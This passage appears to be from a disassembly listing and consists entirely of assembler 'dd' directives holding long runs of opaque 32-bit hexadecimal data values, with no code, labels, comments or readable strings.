		dd 50973856h, 0EE50C5FFh, 1905710Dh, 3E7FA82Fh,	12250940h
		dd 73E4074h, 17E9101Eh,	0FD680B13h, 9BFF310h, 9574DE39h
		dd 0F7771E62h, 0FC2D7CE5h, 0B5DDA077h, 0E90945FEh, 59E4D8A2h
		dd 80892628h, 7E7DC855h, 0B7F77579h, 7DC9F8DCh,	0FF809444h
		dd 0CC13AB9Ch, 6F1A214Dh, 0B25E5F22h, 0D1EEEB97h, 3B4CD365h
		dd 68581AF3h, 0EF33854Eh, 0C4A492B2h, 0F90BD1Ch, 6944E1C6h
		dd 0F0B2002Eh, 9D4C4F4Bh, 0E90877E8h, 0DAD5BE2Dh, 5BF878EEh
		dd 2ACDB1F5h, 0DD9EC7BCh, 0AE49A5B4h, 0CCAF1431h, 0A5F772Dh
		dd 8C9EBEBDh, 0C2B5ED4Fh, 31D07C97h, 2BECB59Eh,	64A4BDD5h
		dd 95FB7A08h, 0C072E9FEh, 502B0DFAh, 0E91AC87Dh, 0DCD8F701h
		dd 21BB4B5Ch, 798C571Eh, 1252AF29h, 563A917h, 0EBF6389Ch
		dd 3AFAB220h, 5F132535h, 65E5607Dh, 1E1FB3AAh, 801F8B52h
		dd 2E5C66D7h, 52404106h, 6B65B400h, 5B5363Eh, 801EE06h
		dd 0FF5692E9h, 52019727h, 5F511268h, 0A5443A44h, 0B90037CFh
		dd 43B111E6h, 6ABF41F4h, 1F7E7C0Fh, 85A1E03Ch, 0D407AE07h
		dd 0D4808238h, 0E8FEE991h, 163F2D00h, 5F201BE4h, 0E0245D53h
		dd 2CD72C38h, 160B90C8h, 1982680Ah, 62CC3D7Bh, 4A58F6AEh
		dd 0B0ED6060h, 7260E87Dh, 8E19610Ch, 0A0189E31h, 140CD008h
		dd 0F5028D4Ch, 33D1750Ch, 2B5F3AE1h, 0A17E4131h, 2E9B896Bh
		dd 61D7EE62h, 0CF7ABB5Bh, 93354CA3h, 69288EABh,	7759F527h
		dd 88C9AC3Bh, 0E8EEDA9Bh, 0FA552630h, 88B64E4Bh, 0C77AB05Fh
		dd 0F8F94369h, 5F64FA5h, 97515E64h, 0E24004BBh,	594B7AA5h
		dd 421EC9EFh, 0C570E11Eh, 14ABF49Dh, 8416C261h,	0DE644F92h
		dd 0E1823409h, 8509E470h, 888477B8h, 0E4AD9CEAh, 89AFFBB5h
		dd 0BEF55A54h, 0ADA195CAh, 7EF1B7E9h, 257C92CAh, 594844EAh
		dd 0D3943E19h, 0B704BA4Ah, 0F9C2E446h, 0E57B7502h, 0F8FD99BDh
		dd 0F4D84516h, 28C5C5DBh, 0D128BBD8h, 433460EBh, 992D46E5h
		dd 0D0220190h, 58BF0C4Fh, 872C025Ah, 23B7CE51h,	203519E0h
		dd 0BC3EC23Fh, 6FB54586h, 8E59EF8h, 0BD02FC96h,	0C166065Dh
		dd 8E259AA4h, 0A21AF82Bh, 0D7DB585Bh, 0B0C5F258h, 0B65DBA68h
		dd 2A086ED5h, 8EDE402Dh, 0BD51D2F2h, 81AE4A3Fh,	2AF32931h
		dd 56C0E4B2h, 0AE4E4968h, 3C90227Dh, 95DA2620h,	2DEC945Dh
		dd 0CBE8CC43h, 0DD274F52h, 5D9C481Dh, 321C3B3Eh, 3B3FCD02h
		dd 3D95F19h, 2B78D802h,	9C8180B7h, 0BF1A4876h, 8824952h
		dd 0D204E07Dh, 75D12516h, 1A26E5F9h, 5A20151Ch,	0C08A88B9h
		dd 0AD406A41h, 48BD337Eh, 7202A4Bh, 0C3269D90h,	5F44C08Ah
		dd 592594B6h, 1C5F27FAh, 40CA4E17h, 82354350h, 889E557h
		dd 7F27B053h, 0B25AC46h, 4A85BBC7h, 5513BBF4h, 9E3136B8h
		dd 9FE2C173h, 46EF24DEh, 0BFF4F66Ch, 0B9806871h, 55BD6F21h
		dd 1DEE2A68h, 6E5A80h, 513E2C8Ch, 0C1E280B1h, 6DB81A7Bh
		dd 3AB75317h, 0ECD4C9BFh, 0DCB9DA14h, 2FC7D6ADh, 5867E976h
		dd 0E82DA1AAh, 2708A8F5h, 0DA9404B0h, 0FD585D25h, 6EBD4146h
		dd 24027F55h, 4318D260h, 74827B9Ch, 0D03B0740h,	589B1A25h
		dd 0FD01B758h, 7B540D68h, 0A0415BCBh, 9F4F86Fh,	5F22FFE9h
		dd 0EC990816h, 2FEEFB08h, 0C722C258h, 92702D49h, 2A3C5779h
		dd 350686EDh, 3016BB42h, 56502749h, 6E262781h, 2DD2D727h
		dd 0CE50068Bh, 0F94AE918h, 1ED5BA3Eh, 8B2ECC70h, 307FA131h
		dd 8290C2B0h, 2450C708h, 64A8BD79h, 680209CCh, 945F7EB5h
		dd 0F2259F6Ch, 0BAFBD4A3h, 0C8812AC3h, 4CA569B6h, 1A2E21AFh
		dd 5E25BDBCh, 30D374E0h, 0F3C0CE41h, 1EF05FE9h,	31542587h
		dd 273AEE08h, 8BB80977h, 0E4AB188Dh, 9D389D0Eh,	46549668h
		dd 0BB5EE951h, 0B6F33E12h, 1B8D35C0h, 0CCB42849h, 391D5F6Ah
		dd 60158A09h, 2C440837h, 2EF060Bh, 0D87B0A9Ch, 1928515Ch
		dd 481CFD1Fh, 3EDEE9C5h, 78C601ACh, 6C4B7516h, 0AAAF24FFh
		dd 0FE41A202h, 0E6C05733h, 0E9275B0Ch, 28B8E0BDh, 8F0403F0h
		dd 0BF2C5A66h, 9C207B2h, 38BE2E50h, 0FC270BACh,	0D7298192h
		dd 3E90C5E9h, 93A404B8h, 1C8CF0C2h, 40295E32h, 398070BDh
		dd 0CF9C46EFh, 25F879FEh, 57D037C7h, 42AE5A5Fh,	7E526832h
		dd 0B5019CF5h, 4E2DCDC4h, 557412E2h, 5BD704A9h,	96622700h
		dd 0A5A567F5h, 0C9F0E5F7h, 0E96FF95Fh, 13BC7977h, 538054EFh
		dd 7785026h, 3BB2273Ch,	0F727C350h, 0EE68D7D0h,	0D4093540h
		dd 0FDCB2273h, 0F2824609h, 4E013A96h, 0E33FD6F7h, 9FF24E60h
		dd 30FAE924h, 0B9AABBD8h, 0FBFC0A3Fh, 930B982Ch, 0BECB56EBh
		dd 50B69420h, 7D1F709h,	0F2622E0Ch, 0E3C0550Ch,	67274AB6h
		dd 2BE5804h, 686DA377h,	25F4145Bh, 4320C060h, 0D2F72C03h
		dd 908E000Fh, 0D0096CC8h, 11205F9Dh, 0BC03A4B8h, 3C49C2A1h
		dd 660C13D6h, 38B4FA12h, 0FCF34EB9h, 0E2A8760Fh, 0FE2717BFh
		dd 812DF848h, 0E03A5907h, 5FB346Ch, 0A27FC1E5h,	9EF15EDEh
		dd 0B19C7E96h, 6903F863h, 75CFD4Ch, 61511CC1h, 88D6F69Bh
		dd 822D5A8Eh, 3CD7D40h,	1D8D282Ch, 0DE2F3B98h, 0D32C6AD3h
		dd 81019F10h, 92B2ADF5h, 0B71D20C8h, 2B945818h,	4C151B0Ch
		dd 251BCA2Ch, 12B1AF5Eh, 770CADDCh, 0BBE2D924h,	0B6B810h
		dd 0DB45EA5h, 3B274A05h, 7B262ED8h, 0D16B0098h,	36AC25E8h
		dd 2D29A203h, 0AD8206A8h, 0C55391ABh, 11F104BAh, 68293C3Fh
		dd 547C5727h, 905E5860h, 0D93F2181h, 1EAB3B4Dh,	76D2C2B6h
		dd 1606659h, 39273ED7h,	0B494F57Ch, 271AEA06h, 9F2AE393h
		dd 0E91A517Ah, 763A69Fh
		dd 0D94A9BE2h, 5EFEB142h, 5C801F79h, 0FA535C50h, 564E12B8h
		dd 7887B59Ch, 0E86C1398h, 0BED698A2h, 8912779Bh, 0E67703E5h
		dd 94123725h, 7AB87E23h, 117CB4C3h, 0F8080FF5h,	11BC681h
		dd 98342B54h, 1B100C1Ah, 0BE114A1Ch, 0C60FDFC5h, 0CD65781Fh
		dd 0A607170Ch, 1368C07Ah, 0E9279333h, 0BBD36048h, 0DF300294h
		dd 6E3C139h, 0B0F64B57h, 257209FBh, 90E0D134h, 8C09047Ah
		dd 8ED88925h, 590909E2h, 0A5680533h, 1BED9219h,	12D4DB4Ah
		dd 69EC9D44h, 4AF5726h,	0BC4D1C16h, 186B0407h, 6C807013h
		dd 5C711732h, 84258C69h, 5FE5B177h, 8B4FE918h, 0C9B95B00h
		dd 0BF15447Ah, 30F52200h, 0A0962F90h, 0FD11AC2h, 2EBEE561h
		dd 7405E725h, 150F16CEh, 0E6577F80h, 84B85BF6h,	1609FCCDh
		dd 21AF628Bh, 6C311C5h,	4F87FCBCh, 0E944206h, 4640290Ch
		dd 670077F6h, 0BF576FA8h, 89C68E1h, 0B74E97Ch, 0CA00BB28h
		dd 50EBD6Ah, 0D42953Ah,	530AE9F1h, 6D8CFCA3h, 0B493Bh
		dd 0E225D4F2h, 90EAD129h, 546F4050h, 74FE09Dh, 294E972Bh
		dd 38698380h, 0A8A8504Eh, 14666E27h, 53819D77h,	68968A83h
		dd 0EA2D254Fh, 78A6743Fh, 0CD01E281h, 0E9478468h, 0A33B2810h
		dd 0FF59C90Ah, 0E9851F6Dh, 52AB75EBh, 0FFDCEB82h, 0BC105A90h
		dd 0C3A9C60Bh, 4FB890AEh, 0B49AD8C1h, 20654C48h, 0BDB026E3h
		dd 0F8B21D15h, 9E2AD02Eh, 0DFD6E8Ah, 0DC3EE26Ah, 6812A4B6h
		dd 0D47011Fh, 0F7D9CA9Ch, 66910E96h, 1BCB116Bh,	5832CA2Ch
		dd 6CFDA40Ch, 0C1ABF8DDh, 570BBA10h, 0E2D2206Fh, 429CB3Eh
		dd 24E94272h, 1D5055FCh, 446E162Fh, 8649EF79h, 595962E6h
		dd 0E9C3600Fh, 20C0C0A2h, 0C022D5Ah, 297F0ADFh,	120705F0h
		dd 81BAE25Eh, 99E9FD01h, 4BD08A3Bh, 5F407FF0h, 9572FE0Ch
		dd 4ACA5098h, 5A29EE01h, 59738A6Ah, 0BCBC92C4h,	0E39E9C0h
		dd 13406ADh, 81332C1h, 388CDEEh, 734FBBF8h, 3D2E37F8h
		dd 0AB7114FDh, 70904C20h, 98238E25h, 826F5DD0h,	7CB92940h
		dd 7828EE26h, 22230304h, 4E4E01BBh, 5DA33A6h, 21A32709h
		dd 0A260B643h, 0C2FCC1F6h, 4D77816Fh, 3E106E29h, 62BF4A08h
		dd 897DF4CCh, 94F17D34h, 403BA6CCh, 1004BE9Ah, 896D5E1Ch
		dd 0C994A4BEh, 2406541h, 7BAA6307h, 1046253Eh, 5F52747Ch
		dd 0A358AEFEh, 6269BC2Bh, 4CFFF88Ah, 955B907Dh,	1EB49880h
		dd 0FAB5695Bh, 98C70701h, 96305378h, 0F70012E7h, 6E92A834h
		dd 955FFD89h, 5DA7E3D9h, 2B430F48h, 0B1E29BBCh,	58A6CAE5h
		dd 5BF74473h, 0F1EBA19Eh, 61D7A509h, 406AFA3Bh,	0CBFBF7A5h
		dd 0DEA08C02h, 682774E7h, 50AED82Ah, 125F08C5h,	408DBDE9h
		dd 0DBB5F264h, 125D8A9h, 0C0BAD6D3h, 5512AACBh,	79B03A4Ah
		dd 0CB015BCDh, 5E3F0043h, 60E96FB1h, 53F9B7C6h,	8BF17DC9h
		dd 6313E909h, 6981BDF3h, 6433472Eh, 75752E58h, 0F9305CB2h
		dd 0E9A30403h, 0E609D434h, 75409168h, 3254B3BAh, 0F0B1ABA5h
		dd 2A169512h, 0ACD6A927h, 41308D45h, 0D05F6037h, 4BFD415Bh
		dd 2D3EC9DEh, 7588C859h, 0FBB90022h, 0D1187A6Bh, 0C1B2F0F7h
		dd 6908AB93h, 0B36801F8h, 6B027E5Fh, 810027F8h,	7C111BEFh
		dd 2C5AE93Fh, 462DFC00h, 0F4627B4Bh, 3D8B950Dh,	7677F8C2h
		dd 2E68F1DCh, 4EF11BE4h, 76D0EA5Eh, 5BEF829Dh, 0CE61E5A8h
		dd 1D6DCA40h, 0CB12F93Ch, 222F89B6h, 9EDDD389h,	6BCBBC64h
		dd 0F6E9D230h, 0F725C4BEh, 0A42766EEh, 35B4D792h, 86EF65D6h
		dd 4E090F34h, 0D52EBC66h, 0A08CB9Ah, 22B10E1h, 0FE52D59h
		dd 84834055h, 0F3739D1Fh, 0DC0BF0A6h, 8EC5F7B8h, 57246809h
		dd 81BCD4F1h, 426B61C4h, 0CD7E1C8Bh, 0B43D2B8Bh, 2D4BD87Fh
		dd 48887C40h, 0BA2D13F0h, 800502D8h, 0D828ADC3h, 0EA56DFCh
		dd 0F80322F7h, 30E632E9h, 870D5F3Dh, 4030E74Ch,	599009C4h
		dd 0FE17D12Dh, 9AD4F42Ah, 0D952B7D8h, 95057420h, 5A7B54A3h
		dd 0C0D5093h, 0A8E3468Dh, 4140ED6Ah, 0CA827AACh, 0B4022BCDh
		dd 9C771825h, 0B01198AEh, 78B5E03h, 3EFB8C8h, 46082B28h
		dd 28FEDD01h, 8DC2BD90h, 0F75625D7h, 0F134CC22h, 8DF55209h
		dd 382F3049h, 0DE4092D9h, 5BDC3988h, 8058E783h,	15F243C7h
		dd 73BD2CD0h, 0D0B8C4B3h, 0F9315824h, 7B51EFF0h, 0CFAC7A38h
		dd 20182D7Bh, 5278FF76h, 5450860Fh, 0F56547F6h,	0FAED312Eh
		dd 70BC6BC6h, 70E7B850h, 0ECC42EE5h, 62960BAFh,	5F97C158h
		dd 2B617816h, 7CCB680Fh, 0EC5D18CCh, 310B5ECAh,	4BBE499h
		dd 0BCB933C0h, 36F33E47h, 0D00CF912h, 7C1303A8h, 16D67E48h
		dd 28FB7F4Ch, 884195BDh, 3FA91D30h, 1765A05h, 687332C5h
		dd 20E88954h, 0D1B7B6F4h, 976A50Bh, 0BF2FE978h,	0F2592505h
		dd 14C59332h, 0E600E08h, 0E7E94D45h, 47572E2Bh,	3832C64h
		dd 7951615h, 0AE69B3AAh, 46457F5Bh, 0DF9809F1h,	5210B453h
		dd 2964E07Ch, 0E9C3D3BCh, 0B3485197h, 78A0092h,	0D331C979h
		dd 0ABCB05Ah, 94D8C137h, 49E906F2h, 80132E8Bh, 0B1EAB3F1h
		dd 7F0F7FE0h, 9A7610CFh, 406CBC5h, 0EB3B55h, 0D9ECF168h
		dd 1AE9C1A8h, 0F9D1A05Ah, 404923Ah, 194FB0D8h, 0E7292FA4h
		dd 4BB3F10h, 0BA52EE01h, 5ECE1FFh, 0F9FA8CF7h, 7704FA40h
		dd 90C74B2Bh, 3151EF81h, 5B161D17h, 0DD44CCFAh,	5C058F94h
		dd 2AFCC868h, 0F4CBAA4Eh, 0BCFDE985h, 3CEA5BA2h, 2086ECB9h
		dd 52763E4Ch, 9615D32Ch, 511AA81h, 4F705A17h, 2A4E33A9h
		dd 9F4C4CCh, 0E0F07D5Ch, 0FE21E497h, 0C9BC5EA0h, 0A511F9EEh
		dd 954E587Fh, 318477F1h, 0BDAE55C3h, 565DF11Ah,	5A749A88h
		dd 2F9582Dh, 686F0724h,	96662F3Ah, 714ED1F0h, 1840FAC9h
		dd 1EDA7BB6h, 0B9FBF03h, 0FE180704h, 0E21E25AFh, 5E6DD146h
		dd 0EBA513A2h, 0DFCD2989h, 0D131B489h, 0CE893F03h, 595EF390h
		dd 0D76C57FEh, 1F317C93h, 90D1E3Bh, 88DCF89Ah, 150E262h
		dd 57449668h, 7079D24Fh, 0C5C21A7Eh, 61F85E76h,	97515359h
		dd 31FE552Ah, 215CC3A3h, 9CB2E86h, 0A7E50176h, 0E93A064Bh
		dd 80A78740h, 0EC315EE4h, 0D93108F2h, 936C7141h, 0AFEDC596h
		dd 3816EE52h, 31CD91FFh, 0F5524C24h, 7CBC1945h,	0C94D4F70h
		dd 1BAC7E6Ch, 0AC3009C4h, 5C8CA2B7h, 10DEAF42h,	0D7ACE892h
		dd 0D731A64Ah, 1A5C02FEh, 77C16110h, 63CD3EE0h,	0EE18A40h
		dd 3A1F4139h, 0E9F404BAh, 834A95FFh, 0A0DA4255h, 993FC679h
		dd 401EBAB5h, 70D0660h,	3EDD1343h, 0DFFB522Dh, 3CB3F340h
		dd 7E5E6CCBh, 0ABF3C42Fh, 189A3C50h, 0C30A22CBh, 0EB04403Fh
		dd 0F02E162Fh, 1557E64h, 0E921A6BDh, 0A4FFC47Bh, 7DA59392h
		dd 25B8A4C5h, 0BA03D96Fh, 9AC62F27h, 14546FF2h,	0F597C3AFh
		dd 2F76058Dh, 0F81116EAh, 0C755E012h, 0E966176Ah, 52191710h
		dd 16212A9h, 687A5C5Ch,	0E9BD2021h, 48E85959h, 3E2847D4h
		dd 0DC04EE9h, 2667A1BFh, 3F573EDh, 0E8A3A41Ah, 5C648E01h
		dd 0FB01539Eh, 5908AAA0h, 0A416B05Fh, 84F33714h, 2FAE99Dh
		dd 285CFCC2h, 77817D7Ch, 7B2B3656h, 74DE5C82h, 675727CAh
		dd 0A221935Eh, 0FEC5DFC1h, 0BF4D7F7h, 0C5DA5EE9h, 0AC8FBE4Bh
		dd 46F84E2Dh, 0EB155A9Bh, 5753C92Dh, 5C2D65E5h,	99B9C050h
		dd 6A5880E8h, 4DE7172Ah, 0E59B9AECh, 2A16E1A1h,	80278B5h
		dd 0F89A7D5Eh, 76780689h, 79400B5h, 951CE791h, 8383F650h
		dd 119320DFh, 3BEE6E18h, 4ED0884Bh, 908B4AAEh, 8A1278Ch
		dd 299531D7h, 54F58405h
		dd 0AC84405Ah, 20B13B5h, 996110B7h, 0FE14D3ABh,	0A601F313h
		dd 27AD61A7h, 1221D820h, 0E81F0660h, 8AE95BB7h,	3EA5884h
		dd 0C15EF729h, 0A27A38A7h, 7BF99676h, 0B16A4E4Ch, 2AC5002Ah
		dd 0DE01AE42h, 702FDCBDh, 0B4924FE9h, 8DB75150h, 5FDCE04Eh
		dd 2E12B050h, 24351B7Ah, 6B202F07h, 77095BDEh, 20331C5Ch
		dd 88506291h, 0D17DE734h, 6E17BD64h, 0CE044ACDh, 46053BC9h
		dd 0FC593EF5h, 98E9C4C9h, 9AC52ABh, 7C20B73Eh, 1B49ECBAh
		dd 0C1813400h, 31C65167h, 0B8D16229h, 235DB979h, 1F0F86ABh
		dd 576AB132h, 81DD5EBEh, 0BA68C8BFh, 0CFB3382Bh, 803A98ACh
		dd 206617C6h, 5EF0BCF5h, 0BF5E0CA3h, 3BF7D96Ch,	0B3168E1h
		dd 73D43AC1h, 9624782Dh, 0C04005FCh, 343DE752h,	1852DF01h
		dd 38501C08h, 0C45BB637h, 0E2FF8354h, 3E127B5Eh, 710039BEh
		dd 0F3EFCC88h, 740C0B2Dh, 995C1E65h, 0E9160720h, 8530C5E1h
		dd 2E4CF2BDh, 16CB4048h, 8667EA0Fh, 0A9D2FAA2h,	58DB87CCh
		dd 81B7489Fh, 88653DE1h, 0D6BB4063h, 0D912C4D0h, 0F5C50CE9h
		dd 4D1DD0AFh, 525A34A3h, 0D106CADh, 0EB8003F8h,	0D1DE300Fh
		dd 3265E661h, 3AA5ED2Ah, 2DD8BF5Bh, 3E57943Eh, 0EB90C101h
		dd 0F52D25FBh, 0CB855362h, 0F2A940D1h, 56CF743Eh, 5EFA8DA0h
		dd 5810DD25h, 4DEC34F4h, 1BD7FE3Bh, 0E1B1D9A5h,	0C36FF72Bh
		dd 4CDBF5E9h, 57A13A64h, 5F064268h, 7F2DEFD6h, 1EFD59B2h
		dd 0B1D195A5h, 2208582Ch, 0B4500181h, 86CCFE9Dh, 3E4C004h
		dd 1344B00Ah, 0C2D0E9AEh, 0E18297D6h, 420ACE8Ch, 1D28FF3Dh
		dd 419008B5h, 0E3C65A30h, 6037DCEEh, 86F668FBh,	3160ED21h
		dd 0A9EB550Ch, 0A9895BFCh, 37AA9264h, 2A7E6BD1h, 0AFEDFB25h
		dd 0D4511CF7h, 5D70C643h, 5D9E3B95h, 0B5FABC3Dh, 5D5242F6h
		dd 15A78E98h, 65C7BDC0h, 3E7FD9EAh, 9A98F829h, 9EBF8EFDh
		dd 0D75802F0h, 1853273Ah, 3056D949h, 5FFA1363h,	36175221h
		dd 0EE40BDE9h, 0B6183EB9h, 672961Fh, 48F7F987h,	7738F030h
		dd 17EE36C5h, 0A0895A14h, 4564A30Bh, 0F4BFC61Dh, 0F6670A68h
		dd 0C4C45A8Eh, 78272DABh, 0D71AB287h, 144F204Ch, 0B72886B1h
		dd 548A2A6h, 564F1735h,	7B7AD7B3h, 66584C20h, 4BD64009h
		dd 38BDD158h, 54F899Dh,	60685920h, 36215136h, 5515583Fh
		dd 50280E1Bh, 802520DFh, 62B62C27h, 0DBA58550h,	502F3FE2h
		dd 6834A3DDh, 64BFAD8Ch, 0D900C1A3h, 93E82243h,	743869AAh
		dd 7770C79Bh, 0E7CE6AE1h, 0FF7ABD2h, 4080AE50h,	0C5A5ADB9h
		dd 6B685080h, 64771A57h, 16B3DE58h, 8819FC0h, 0F743261Ch
		dd 20CD83D1h, 0CFE01DF3h, 47F3096h, 19684709h, 92F14444h
		dd 88FE404Bh, 8058E207h, 71B24DF2h, 13214482h, 4B56266h
		dd 0D7E50BF0h, 24826161h, 4EF82B72h, 4A08C128h,	8224ED5Eh
		dd 905DA668h, 80B864h, 252DFE60h, 704D39F6h, 9635C97h
		dd 0A8791A1Bh, 0DF0688B8h, 3ACA8175h, 2A4BFE7Bh, 0F4CACB2h
		dd 0CE96F936h, 0BD5C620h, 4BB31CB5h, 2C3EA276h,	74AF2EF9h
		dd 78273C85h, 564A8D00h, 12056851h, 590E777Eh, 738A04BBh
		dd 277E2C8h, 0D006E7C0h, 0DCC4D7EFh, 0BFB27EC4h, 5AB180EEh
		dd 9009C780h, 24721CE9h, 2CEBB345h, 0D3B2A3B5h,	59C82900h
		dd 8B64722Dh, 278EA0Eh,	681A6C55h, 14D960DCh, 3904B99Ch
		dd 858C4549h, 0F09425E9h, 23019421h, 0C5F84395h, 60C86CD0h
		dd 0A309E5ECh, 0FA5E6D59h, 2628FCBAh, 26A4473h,	6E667C52h
		dd 78272055h, 0E23106C7h, 9F5974CDh, 85BA01D4h,	716592B9h
		dd 0EAFB35FEh, 0C1573E1Dh, 2CC91420h, 1AC09D9Ah, 0E277835h
		dd 13641669h, 0B8BF31E9h, 0BA52E046h, 13C1E091h, 0F146E918h
		dd 6AF3EA7h, 3E04EBABh,	0EA75E260h, 4ECB0222h, 426E56Dh
		dd 0C0901308h, 5AF38058h, 0ECD3F62Ch, 0DA884405h, 7FADECC2h
		dd 277F17ABh, 0F79BE1Ah, 0C032E641h, 5258381Eh,	56A0EAC8h
		dd 316553E9h, 6D315C22h, 0B38BF496h, 7F5E5EF2h,	0CDB89958h
		dd 0E02209BEh, 54991E81h, 0D59A55A7h, 20224E7Dh, 0B900780Ah
		dd 1CF45288h, 3745F181h, 608AAB59h, 27145DADh, 7BE32951h
		dd 5D5EC125h, 0A9E5A53Eh, 0BD9F5EC2h, 169E339Bh, 1D5DBAB4h
		dd 413203F6h, 0BC54F213h, 210F0E29h, 0A003EBC8h, 0B7DBB608h
		dd 0FEF7E043h, 0FD824A6Ah, 0BBD9DE2Ah, 0E7EC5DD9h, 0F7810205h
		dd 8B3D88E0h, 0F165C8DDh, 0D1CAA15Eh, 1F9EF36Eh, 0A09A32Dh
		dd 20A9D41Fh, 18882D07h, 4F2CA7F9h, 2D024D10h, 2FB44E94h
		dd 684335C2h, 0CBFED312h, 3C040510h, 0C0EF0480h, 0F8506E3h
		dd 28D1FE91h, 9EB2F070h, 87B12467h, 0B4796B62h,	5DD9F092h
		dd 7E3C682Dh, 0CFB6C255h, 5C49CAFCh, 54A508B5h,	0E582B40Eh
		dd 0A097731Eh, 5B8769C0h, 0C3E8838Bh, 71BFFEC9h, 0A4A0C997h
		dd 3113792Dh, 690B1290h, 86052C30h, 0B538B69Eh,	14C4715Eh
		dd 0B4B0DA45h, 0C52C339h, 0E1831058h, 5BDE290Bh, 75B04A7Dh
		dd 524DA052h, 12504C58h, 58D1B1B0h, 5F0133B8h, 0C263F568h
		dd 5122D657h, 0D0002E12h, 4A5AF4BDh, 4F81B85Fh,	91FB734h
		dd 0FE568D68h, 833673Eh, 2CC3DE25h, 293A0253h, 0F8C02E7Eh
		dd 1FD6586Ch, 0D104A6EDh, 8071463Dh, 0D8FBD66Ch, 95897E2Eh
		dd 3DE9DC13h, 8773C42Fh, 0FED7F661h, 66017DF2h,	259CE9FCh
		dd 2D292E7Dh, 0E7404FFBh, 4AFA5F59h, 0ADBA20D0h, 0DF2F89FDh
		dd 0C830976Eh, 8DF1974Dh, 87A332E6h, 680170ACh,	884C7CE8h
		dd 0BCFF252h, 5A49B353h, 559F847Bh, 8F382CC5h, 58EDDE81h
		dd 7C5DC112h, 0DCB58C26h, 0CE4AB192h, 327780EFh, 0D8B5CB28h
		dd 0BEF080E6h, 9E18BCEEh, 0B6FD2DA8h, 0E8FB9DBEh, 3C95E986h
		dd 36680541h, 4457C3Eh,	80DAF7FBh, 83BDCFA2h, 0FA29BA03h
		dd 25B8F1E9h, 0CA57C5A9h, 0BF8F2671h, 256C97E1h, 0C04E577Dh
		dd 41BEBDC0h, 0A8F65E77h, 7A3C09E2h, 0F20D0442h, 1881BAA1h
		dd 0E472E3C9h, 1B626431h, 17A74024h, 8A19BF00h,	90CA0102h
		dd 59088019h, 42059721h, 7D6AB806h, 3E64A513h, 0D8697A07h
		dd 3D83ADAAh, 7D2A6E79h, 75230B68h, 61576014h, 1D25258Bh
		dd 0D22AAE2Bh, 4AC9FB4Ah, 5947FDEh, 6268FDC2h, 0B076C55h
		dd 11634BE9h, 912F6CF6h, 0EAF4537Bh, 26FF4C68h,	0C5DE1FF4h
		dd 0C2605822h, 0BAC1515Dh, 5746CC47h, 4AEAD112h, 4C34C9F4h
		dd 0C71CD374h, 3132897Bh, 0C073727Fh, 92F13ED2h, 0CA480905h
		dd 0CABF2F8Ah, 5BD9D7A7h, 0D6FF7C6Ch, 0B19BB8D6h, 246FEEC7h
		dd 73C1AFBFh, 0F30739D9h, 5E09AE76h, 2E5C1h, 87EE181Bh
		dd 0AED4BD08h, 0D3EB4550h, 0F68AAF2Eh, 16D75127h, 1371B59Fh
		dd 0BB6D4018h, 507B7EACh, 9748AA28h, 0B442B8FCh, 0EE6D581h
		dd 0E34D68F2h, 9AA54EA7h, 5E91BC6Eh, 4B912ABBh,	9057F9E4h
		dd 3BBC2F64h, 9DD61218h, 0A4EBC182h, 1E70BDC1h,	0B379401Dh
		dd 0D7686F0Ch, 5FEDFF12h, 0EB6120D2h, 16B07F76h, 0A2D0AAB0h
		dd 0B2F95AAFh, 21929143h, 4C70C73h, 0A45C0BAAh,	244C1871h
		dd 2B5B81DAh, 2E6206B2h, 5E09D77Bh, 0C0521342h,	0C04C945Fh
		dd 0ECB8675Fh, 7E960741h, 0E92690C7h, 0F99DF6C1h, 0E2123CF7h
		dd 0B084FCE1h, 2D47A02Dh, 27080388h, 685A0207h,	0CDDF2099h
		dd 95F9222Ch, 472FA764h, 978564ADh, 0EB991C63h,	9D06AC04h
		dd 4AA9608h, 0BE1F5868h, 37DFDC30h, 810101D9h, 0F93246F6h
		dd 36B32E2Fh, 33435C09h, 0FDF65E84h, 4F83D086h,	66CE05EEh
		dd 1A90D8Fh, 0F3C43A8Dh
		dd 0AB7997AAh, 504AF050h, 95EAF398h, 0D5885A83h, 4060E892h
		dd 0ADC601B6h, 27294B30h, 0CD4A38C8h, 0E34A00F5h, 369BA2Ah
		dd 4B70B951h, 5EB0C499h, 8BA0159h, 92BFF04Ah, 78FFBB7Fh
		dd 751397BEh, 0A07F30FAh, 21A0F2D6h, 0C2EDA149h, 980534DCh
		dd 9CEA021Fh, 29FDCD37h, 0F6C51C68h, 35551D0Fh,	38109701h
		dd 2DE91508h, 0F3BA0EB3h, 7F06096Bh, 2F056A69h,	0FD439980h
		dd 1C214A3Ch, 7381FFB1h, 14E940E0h, 0FC913AF9h,	62ED04DBh
		dd 1005F800h, 0C2834A13h, 72202604h, 0B4A25488h, 97B90AE3h
		dd 56140F8Eh, 0F9A6F964h, 1D517E7h, 58EC309Dh, 416DD1Eh
		dd 4979CC68h, 85B5718h,	0FCF898BDh, 12DFC317h, 5E795D06h
		dd 0CFF34132h, 3A252051h, 7F342F41h, 0BC3BBC7Ch, 0C0442782h
		dd 0F1665841h, 4A250932h, 36EB37C0h, 45535500h,	2E323352h
		dd 0E06C7164h, 56443941h, 0D495094h, 0E7544EC7h, 0A30A1A4Ch
		dd 0EF3CC001h, 0E9175D5Fh, 0DB4708BBh, 81899EF5h, 0FDE28E2Dh
		dd 64883920h, 2184159Fh, 5817A07Ah, 24A1B042h, 0A2312170h
		dd 0A3196612h, 9E115C12h, 2895208h, 0A137F8h, 0EA80A951h
		dd 38CE4B9Ah, 1918E800h, 61C83383h, 49B200CBh, 0BE54D526h
		dd 0A100906Eh, 0EB46BB0Bh, 0C0FA0555h, 0C6B3CC44h, 7B1771E2h
		dd 39036A5Ah, 80331F57h, 7FF4E198h, 517600B1h, 55D42634h
		dd 41750F1Dh, 5192B00h,	3B38F9A2h, 0F7E2001Ah, 93339C80h
		dd 4D00BFE8h, 0B6738896h, 7299D169h, 0C5520086h, 4D23138h
		dd 0B91ECEB7h, 3A9CE8CCh, 6AA27040h, 2993C4h, 40836072h
		dd 58A58477h, 0E10CC001h, 98ABE361h, 80F5C8h, 5B70371Fh
		dd 21A28A6Eh, 0F3124003h, 0A32206h, 76DCAA0Eh, 0AB62303Eh
		dd 0CF009D73h, 75D0E239h, 0A9091Bh, 95846173h, 14EBF72Fh
		dd 7F91D03h, 13FF438Fh,	0A0FAE01Ah, 1098BB24h, 800A5A39h
		dd 9253A339h, 0A1F187h,	0EC3CD25Fh, 6B841A0Fh, 1CDF0200h
		dd 0D727770Dh, 74C4055Ah, 0C60EA48Dh, 850A44E3h, 0B99B7F6Ch
